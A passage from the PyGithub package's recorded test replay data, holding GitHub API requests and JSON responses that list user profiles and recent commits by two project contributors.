Jacques","date":"2012-05-10T09:26:18-07:00"},"tree":{"url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees/7cafc3a4c77289c53776e9be84a5857dbeb19eeb","sha":"7cafc3a4c77289c53776e9be84a5857dbeb19eeb"}}},{"author":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"jacquev6","id":327146},"url":"https://api.github.com/repos/PyGithub/PyGithub/commits/d631e83b7901b0a0b6061b361130700a79505319","committer":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"jacquev6","id":327146},"sha":"d631e83b7901b0a0b6061b361130700a79505319","parents":[{"url":"https://api.github.com/repos/PyGithub/PyGithub/commits/cd68559b0861ad2be12be29b9d4b7ec66e885191","sha":"cd68559b0861ad2be12be29b9d4b7ec66e885191"}],"commit":{"author":{"email":"vincent@vincent-jacques.net","name":"Vincent Jacques","date":"2012-05-10T09:10:17-07:00"},"url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits/d631e83b7901b0a0b6061b361130700a79505319","message":"Move files around","committer":{"email":"vincent@vincent-jacques.net","name":"Vincent Jacques","date":"2012-05-10T09:10:17-07:00"},"tree":{"url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees/586a9fdba155fcae6959133845e702373d4b42ed","sha":"586a9fdba155fcae6959133845e702373d4b42ed"}}}] ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Repository.testGetCommitsWithAuthor.txt0000644000175100001660000015131014756101563026070 0ustar00runnerdockerhttps GET api.github.com None /users/AKFish {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4949'), ('x-github-media-type', 'github.beta; format=json'), ('x-content-type-options', 'nosniff'), ('access-control-expose-headers', 'ETag, Link, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes'), ('x-github-request-id', '4C79374B:68E1:4062816:52802976'), ('access-control-allow-credentials', 'true'), ('vary', 'Accept, Authorization, Cookie, Accept-Encoding'), ('content-length', '1221'), ('server', 'GitHub.com'), ('last-modified', 'Sun, 10 Nov 2013 11:54:56 GMT'), ('x-ratelimit-limit', '5000'), ('etag', '"186b66d7835a31a33ee1a092f17ca035"'), ('cache-control', 'private, max-age=60, s-maxage=60'), ('date', 'Mon, 11 Nov 2013 00:48:54 GMT'), ('access-control-allow-origin', '*'), ('content-type', 'application/json; charset=utf-8'), ('x-ratelimit-reset', '1384130958')] {"login":"akfish","id":922715,"avatar_url":"https://1.gravatar.com/avatar/12a1b44d4e5c19cee59618084602b112?d=https%3A%2F%2Fidenticons.github.com%2F6eb90fb68a77fb5a5a997c6264bedf35.png&r=x","gravatar_id":"12a1b44d4e5c19cee59618084602b112","url":"https://api.github.com/users/akfish","html_url":"https://github.com/akfish","followers_url":"https://api.github.com/users/akfish/followers","following_url":"https://api.github.com/users/akfish/following{/other_user}","gists_url":"https://api.github.com/users/akfish/gists{/gist_id}","starred_url":"https://api.github.com/users/akfish/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/akfish/subscriptions","organizations_url":"https://api.github.com/users/akfish/orgs","repos_url":"https://api.github.com/users/akfish/repos","events_url":"https://api.github.com/users/akfish/events{/privacy}","received_events_url":"https://api.github.com/users/akfish/received_events","type":"User","site_admin":false,"name":"AKFish","company":null,"blog":"http://catx.me","location":"China","email":null,"hireable":true,"bio":null,"public_repos":51,"followers":11,"following":7,"created_at":"2011-07-18T11:44:01Z","updated_at":"2013-11-10T11:54:56Z","public_gists":6} https GET api.github.com None /repos/PyGithub/PyGithub/commits?per_page=5&author=jacquev6 {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4948'), ('x-github-media-type', 'github.beta; format=json'), ('x-content-type-options', 'nosniff'), ('access-control-expose-headers', 'ETag, Link, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes'), ('x-github-request-id', '4C79374B:68E1:40629A3:52802977'), ('access-control-allow-credentials', 'true'), ('vary', 'Accept, Authorization, Cookie, Accept-Encoding'), ('content-length', '16274'), ('server', 'GitHub.com'), ('last-modified', 'Mon, 21 Oct 2013 03:45:43 GMT'), ('x-ratelimit-limit', '5000'), ('link', '; rel="next", ; rel="first"'), ('etag', '"e33a86ac77b0de1ff6664d425434cb37"'), ('cache-control', 'private, max-age=60, s-maxage=60'), ('date', 'Mon, 11 Nov 2013 00:48:55 GMT'), ('access-control-allow-origin', '*'), ('content-type', 'application/json; charset=utf-8'), ('x-ratelimit-reset', '1384130958')] [{"sha":"54f718a15770579a37ffbe7ae94ad30003407786","commit":{"author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net","date":"2013-10-21T03:45:43Z"},"committer":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net","date":"2013-10-21T03:45:43Z"},"message":"Twitt about releases","tree":{"sha":"cbdb0e431b2d3645618a9fc1604eeb7a0b4fc037","url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees/cbdb0e431b2d3645618a9fc1604eeb7a0b4fc037"},"url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits/54f718a15770579a37ffbe7ae94ad30003407786","comment_count":0},"url":"https://api.github.com/repos/PyGithub/PyGithub/commits/54f718a15770579a37ffbe7ae94ad30003407786","html_url":"https://github.com/PyGithub/PyGithub/commit/54f718a15770579a37ffbe7ae94ad30003407786","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/commits/54f718a15770579a37ffbe7ae94ad30003407786/comments","author":{"login":"jacquev6","id":327146,"avatar_url":"https://0.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https%3A%2F%2Fidenticons.github.com%2Ffadfb5f7088ef66579d198a3c9a4935e.png&r=x","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User","site_admin":false},"committer":{"login":"jacquev6","id":327146,"avatar_url":"https://0.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https%3A%2F%2Fidenticons.github.com%2Ffadfb5f7088ef66579d198a3c9a4935e.png&r=x","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User","site_admin":false},"parents":[{"sha":"8cb3f372837e2648f17e3f085d2821114b507383","url":"https://api.github.com/repos/PyGithub/PyGithub/commits/8cb3f372837e2648f17e3f085d2821114b507383","html_url":"https://github.com/PyGithub/PyGithub/commit/8cb3f372837e2648f17e3f085d2821114b507383"}]},{"sha":"8cb3f372837e2648f17e3f085d2821114b507383","commit":{"author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net","date":"2013-10-21T02:48:01Z"},"committer":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net","date":"2013-10-21T02:48:01Z"},"message":"Publish version 1.20.0","tree":{"sha":"db657a4a57f788fba69640e4f49e77ef68bfd13d","url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees/db657a4a57f788fba69640e4f49e77ef68bfd13d"},"url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits/8cb3f372837e2648f17e3f085d2821114b507383","comment_count":0},"url":"https://api.github.com/repos/PyGithub/PyGithub/commits/8cb3f372837e2648f17e3f085d2821114b507383","html_url":"https://github.com/PyGithub/PyGithub/commit/8cb3f372837e2648f17e3f085d2821114b507383","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/commits/8cb3f372837e2648f17e3f085d2821114b507383/comments","author":{"login":"jacquev6","id":327146,"avatar_url":"https://0.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https%3A%2F%2Fidenticons.github.com%2Ffadfb5f7088ef66579d198a3c9a4935e.png&r=x","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User","site_admin":false},"committer":{"login":"jacquev6","id":327146,"avatar_url":"https://0.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https%3A%2F%2Fidenticons.github.com%2Ffadfb5f7088ef66579d198a3c9a4935e.png&r=x","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User","site_admin":false},"parents":[{"sha":"73c16e54604f3ebb25557049f1e55f30b567d1ab","url":"https://api.github.com/repos/PyGithub/PyGithub/commits/73c16e54604f3ebb25557049f1e55f30b567d1ab","html_url":"https://github.com/PyGithub/PyGithub/commit/73c16e54604f3ebb25557049f1e55f30b567d1ab"}]},{"sha":"73c16e54604f3ebb25557049f1e55f30b567d1ab","commit":{"author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net","date":"2013-10-21T02:23:38Z"},"committer":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net","date":"2013-10-21T02:23:38Z"},"message":"Merge branch 'develop'","tree":{"sha":"ff1686e186cbcf8a35605a1795b885483918314c","url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees/ff1686e186cbcf8a35605a1795b885483918314c"},"url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits/73c16e54604f3ebb25557049f1e55f30b567d1ab","comment_count":0},"url":"https://api.github.com/repos/PyGithub/PyGithub/commits/73c16e54604f3ebb25557049f1e55f30b567d1ab","html_url":"https://github.com/PyGithub/PyGithub/commit/73c16e54604f3ebb25557049f1e55f30b567d1ab","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/commits/73c16e54604f3ebb25557049f1e55f30b567d1ab/comments","author":{"login":"jacquev6","id":327146,"avatar_url":"https://0.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https%3A%2F%2Fidenticons.github.com%2Ffadfb5f7088ef66579d198a3c9a4935e.png&r=x","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User","site_admin":false},"committer":{"login":"jacquev6","id":327146,"avatar_url":"https://0.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https%3A%2F%2Fidenticons.github.com%2Ffadfb5f7088ef66579d198a3c9a4935e.png&r=x","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User","site_admin":false},"parents":[{"sha":"9f9be931fb3821256d8bb685577b5167652763d5","url":"https://api.github.com/repos/PyGithub/PyGithub/commits/9f9be931fb3821256d8bb685577b5167652763d5","html_url":"https://github.com/PyGithub/PyGithub/commit/9f9be931fb3821256d8bb685577b5167652763d5"},{"sha":"51fa637514e436eda989c376ff708b9553fff3c6","url":"https://api.github.com/repos/PyGithub/PyGithub/commits/51fa637514e436eda989c376ff708b9553fff3c6","html_url":"https://github.com/PyGithub/PyGithub/commit/51fa637514e436eda989c376ff708b9553fff3c6"}]},{"sha":"51fa637514e436eda989c376ff708b9553fff3c6","commit":{"author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net","date":"2013-10-21T02:17:38Z"},"committer":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net","date":"2013-10-21T02:17:38Z"},"message":"Remove tests for deleted methods!","tree":{"sha":"ff1686e186cbcf8a35605a1795b885483918314c","url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees/ff1686e186cbcf8a35605a1795b885483918314c"},"url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits/51fa637514e436eda989c376ff708b9553fff3c6","comment_count":0},"url":"https://api.github.com/repos/PyGithub/PyGithub/commits/51fa637514e436eda989c376ff708b9553fff3c6","html_url":"https://github.com/PyGithub/PyGithub/commit/51fa637514e436eda989c376ff708b9553fff3c6","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/commits/51fa637514e436eda989c376ff708b9553fff3c6/comments","author":{"login":"jacquev6","id":327146,"avatar_url":"https://0.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https%3A%2F%2Fidenticons.github.com%2Ffadfb5f7088ef66579d198a3c9a4935e.png&r=x","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User","site_admin":false},"committer":{"login":"jacquev6","id":327146,"avatar_url":"https://0.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https%3A%2F%2Fidenticons.github.com%2Ffadfb5f7088ef66579d198a3c9a4935e.png&r=x","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User","site_admin":false},"parents":[{"sha":"748793b7ac34dcf4b70f8b4494f9fe71c4609a07","url":"https://api.github.com/repos/PyGithub/PyGithub/commits/748793b7ac34dcf4b70f8b4494f9fe71c4609a07","html_url":"https://github.com/PyGithub/PyGithub/commit/748793b7ac34dcf4b70f8b4494f9fe71c4609a07"}]},{"sha":"748793b7ac34dcf4b70f8b4494f9fe71c4609a07","commit":{"author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net","date":"2013-10-21T02:14:35Z"},"committer":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net","date":"2013-10-21T02:14:35Z"},"message":"Add a link to DevAssistant (#197)","tree":{"sha":"b3198ecd46d01f2c44bec043adb65a68b10057a3","url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees/b3198ecd46d01f2c44bec043adb65a68b10057a3"},"url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits/748793b7ac34dcf4b70f8b4494f9fe71c4609a07","comment_count":0},"url":"https://api.github.com/repos/PyGithub/PyGithub/commits/748793b7ac34dcf4b70f8b4494f9fe71c4609a07","html_url":"https://github.com/PyGithub/PyGithub/commit/748793b7ac34dcf4b70f8b4494f9fe71c4609a07","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/commits/748793b7ac34dcf4b70f8b4494f9fe71c4609a07/comments","author":{"login":"jacquev6","id":327146,"avatar_url":"https://0.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https%3A%2F%2Fidenticons.github.com%2Ffadfb5f7088ef66579d198a3c9a4935e.png&r=x","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User","site_admin":false},"committer":{"login":"jacquev6","id":327146,"avatar_url":"https://0.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https%3A%2F%2Fidenticons.github.com%2Ffadfb5f7088ef66579d198a3c9a4935e.png&r=x","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User","site_admin":false},"parents":[{"sha":"23e2828b5fd56c4860312773e7d568c8e9d232ca","url":"https://api.github.com/repos/PyGithub/PyGithub/commits/23e2828b5fd56c4860312773e7d568c8e9d232ca","html_url":"https://github.com/PyGithub/PyGithub/commit/23e2828b5fd56c4860312773e7d568c8e9d232ca"}]}] https GET api.github.com None /repos/PyGithub/PyGithub/commits?per_page=5&author=akfish {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4947'), ('x-github-media-type', 'github.beta; format=json'), ('x-content-type-options', 'nosniff'), ('access-control-expose-headers', 'ETag, Link, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes'), ('x-github-request-id', '4C79374B:68E1:4062C37:52802978'), ('access-control-allow-credentials', 'true'), ('vary', 'Accept, Authorization, Cookie, Accept-Encoding'), ('content-length', '15564'), ('server', 'GitHub.com'), ('last-modified', 'Fri, 23 Aug 2013 23:21:41 GMT'), ('x-ratelimit-limit', '5000'), ('link', '; rel="next", ; rel="first"'), ('etag', '"70e018e18acd7212d83ab7f79a00c0c1"'), ('cache-control', 'private, max-age=60, s-maxage=60'), ('date', 'Mon, 11 Nov 2013 00:48:57 GMT'), ('access-control-allow-origin', '*'), ('content-type', 'application/json; charset=utf-8'), ('x-ratelimit-reset', '1384130958')] [{"sha":"38b137fb37c0fdc74f8802a4184518e105db9121","commit":{"author":{"name":"AKFish","email":"akfish@gmail.com","date":"2013-08-23T23:21:41Z"},"committer":{"name":"AKFish","email":"akfish@gmail.com","date":"2013-08-23T23:21:41Z"},"message":"Fix line ending","tree":{"sha":"a4260390d7e3d478aed05009657f4632d25dad84","url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees/a4260390d7e3d478aed05009657f4632d25dad84"},"url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits/38b137fb37c0fdc74f8802a4184518e105db9121","comment_count":0},"url":"https://api.github.com/repos/PyGithub/PyGithub/commits/38b137fb37c0fdc74f8802a4184518e105db9121","html_url":"https://github.com/PyGithub/PyGithub/commit/38b137fb37c0fdc74f8802a4184518e105db9121","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/commits/38b137fb37c0fdc74f8802a4184518e105db9121/comments","author":{"login":"akfish","id":922715,"avatar_url":"https://1.gravatar.com/avatar/12a1b44d4e5c19cee59618084602b112?d=https%3A%2F%2Fidenticons.github.com%2F6eb90fb68a77fb5a5a997c6264bedf35.png&r=x","gravatar_id":"12a1b44d4e5c19cee59618084602b112","url":"https://api.github.com/users/akfish","html_url":"https://github.com/akfish","followers_url":"https://api.github.com/users/akfish/followers","following_url":"https://api.github.com/users/akfish/following{/other_user}","gists_url":"https://api.github.com/users/akfish/gists{/gist_id}","starred_url":"https://api.github.com/users/akfish/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/akfish/subscriptions","organizations_url":"https://api.github.com/users/akfish/orgs","repos_url":"https://api.github.com/users/akfish/repos","events_url":"https://api.github.com/users/akfish/events{/privacy}","received_events_url":"https://api.github.com/users/akfish/received_events","type":"User","site_admin":false},"committer":{"login":"akfish","id":922715,"avatar_url":"https://1.gravatar.com/avatar/12a1b44d4e5c19cee59618084602b112?d=https%3A%2F%2Fidenticons.github.com%2F6eb90fb68a77fb5a5a997c6264bedf35.png&r=x","gravatar_id":"12a1b44d4e5c19cee59618084602b112","url":"https://api.github.com/users/akfish","html_url":"https://github.com/akfish","followers_url":"https://api.github.com/users/akfish/followers","following_url":"https://api.github.com/users/akfish/following{/other_user}","gists_url":"https://api.github.com/users/akfish/gists{/gist_id}","starred_url":"https://api.github.com/users/akfish/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/akfish/subscriptions","organizations_url":"https://api.github.com/users/akfish/orgs","repos_url":"https://api.github.com/users/akfish/repos","events_url":"https://api.github.com/users/akfish/events{/privacy}","received_events_url":"https://api.github.com/users/akfish/received_events","type":"User","site_admin":false},"parents":[{"sha":"fb6980ce36766e4dd1ab03b48ac4b5adf876dc84","url":"https://api.github.com/repos/PyGithub/PyGithub/commits/fb6980ce36766e4dd1ab03b48ac4b5adf876dc84","html_url":"https://github.com/PyGithub/PyGithub/commit/fb6980ce36766e4dd1ab03b48ac4b5adf876dc84"}]},{"sha":"c7593e84c4a92a044b717b7311c2b6ad8d9a5917","commit":{"author":{"name":"AKFish","email":"akfish@gmail.com","date":"2013-08-22T02:20:10Z"},"committer":{"name":"AKFish","email":"akfish@gmail.com","date":"2013-08-22T02:20:10Z"},"message":"Add test case for conditional request","tree":{"sha":"bbf62558b39720fc7acab1c6b26e4b9260cdc897","url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees/bbf62558b39720fc7acab1c6b26e4b9260cdc897"},"url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits/c7593e84c4a92a044b717b7311c2b6ad8d9a5917","comment_count":0},"url":"https://api.github.com/repos/PyGithub/PyGithub/commits/c7593e84c4a92a044b717b7311c2b6ad8d9a5917","html_url":"https://github.com/PyGithub/PyGithub/commit/c7593e84c4a92a044b717b7311c2b6ad8d9a5917","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/commits/c7593e84c4a92a044b717b7311c2b6ad8d9a5917/comments","author":{"login":"akfish","id":922715,"avatar_url":"https://1.gravatar.com/avatar/12a1b44d4e5c19cee59618084602b112?d=https%3A%2F%2Fidenticons.github.com%2F6eb90fb68a77fb5a5a997c6264bedf35.png&r=x","gravatar_id":"12a1b44d4e5c19cee59618084602b112","url":"https://api.github.com/users/akfish","html_url":"https://github.com/akfish","followers_url":"https://api.github.com/users/akfish/followers","following_url":"https://api.github.com/users/akfish/following{/other_user}","gists_url":"https://api.github.com/users/akfish/gists{/gist_id}","starred_url":"https://api.github.com/users/akfish/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/akfish/subscriptions","organizations_url":"https://api.github.com/users/akfish/orgs","repos_url":"https://api.github.com/users/akfish/repos","events_url":"https://api.github.com/users/akfish/events{/privacy}","received_events_url":"https://api.github.com/users/akfish/received_events","type":"User","site_admin":false},"committer":{"login":"akfish","id":922715,"avatar_url":"https://1.gravatar.com/avatar/12a1b44d4e5c19cee59618084602b112?d=https%3A%2F%2Fidenticons.github.com%2F6eb90fb68a77fb5a5a997c6264bedf35.png&r=x","gravatar_id":"12a1b44d4e5c19cee59618084602b112","url":"https://api.github.com/users/akfish","html_url":"https://github.com/akfish","followers_url":"https://api.github.com/users/akfish/followers","following_url":"https://api.github.com/users/akfish/following{/other_user}","gists_url":"https://api.github.com/users/akfish/gists{/gist_id}","starred_url":"https://api.github.com/users/akfish/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/akfish/subscriptions","organizations_url":"https://api.github.com/users/akfish/orgs","repos_url":"https://api.github.com/users/akfish/repos","events_url":"https://api.github.com/users/akfish/events{/privacy}","received_events_url":"https://api.github.com/users/akfish/received_events","type":"User","site_admin":false},"parents":[{"sha":"d457afd23ccb47d9f30f09a6ca2a8e32f17dccc7","url":"https://api.github.com/repos/PyGithub/PyGithub/commits/d457afd23ccb47d9f30f09a6ca2a8e32f17dccc7","html_url":"https://github.com/PyGithub/PyGithub/commit/d457afd23ccb47d9f30f09a6ca2a8e32f17dccc7"}]},{"sha":"d457afd23ccb47d9f30f09a6ca2a8e32f17dccc7","commit":{"author":{"name":"AKFish","email":"akfish@gmail.com","date":"2013-08-22T00:45:10Z"},"committer":{"name":"AKFish","email":"akfish@gmail.com","date":"2013-08-22T00:45:10Z"},"message":"Add test record helper","tree":{"sha":"e6e15fccb5b256bba3db1d4fc89088b733de227b","url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees/e6e15fccb5b256bba3db1d4fc89088b733de227b"},"url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits/d457afd23ccb47d9f30f09a6ca2a8e32f17dccc7","comment_count":0},"url":"https://api.github.com/repos/PyGithub/PyGithub/commits/d457afd23ccb47d9f30f09a6ca2a8e32f17dccc7","html_url":"https://github.com/PyGithub/PyGithub/commit/d457afd23ccb47d9f30f09a6ca2a8e32f17dccc7","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/commits/d457afd23ccb47d9f30f09a6ca2a8e32f17dccc7/comments","author":{"login":"akfish","id":922715,"avatar_url":"https://1.gravatar.com/avatar/12a1b44d4e5c19cee59618084602b112?d=https%3A%2F%2Fidenticons.github.com%2F6eb90fb68a77fb5a5a997c6264bedf35.png&r=x","gravatar_id":"12a1b44d4e5c19cee59618084602b112","url":"https://api.github.com/users/akfish","html_url":"https://github.com/akfish","followers_url":"https://api.github.com/users/akfish/followers","following_url":"https://api.github.com/users/akfish/following{/other_user}","gists_url":"https://api.github.com/users/akfish/gists{/gist_id}","starred_url":"https://api.github.com/users/akfish/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/akfish/subscriptions","organizations_url":"https://api.github.com/users/akfish/orgs","repos_url":"https://api.github.com/users/akfish/repos","events_url":"https://api.github.com/users/akfish/events{/privacy}","received_events_url":"https://api.github.com/users/akfish/received_events","type":"User","site_admin":false},"committer":{"login":"akfish","id":922715,"avatar_url":"https://1.gravatar.com/avatar/12a1b44d4e5c19cee59618084602b112?d=https%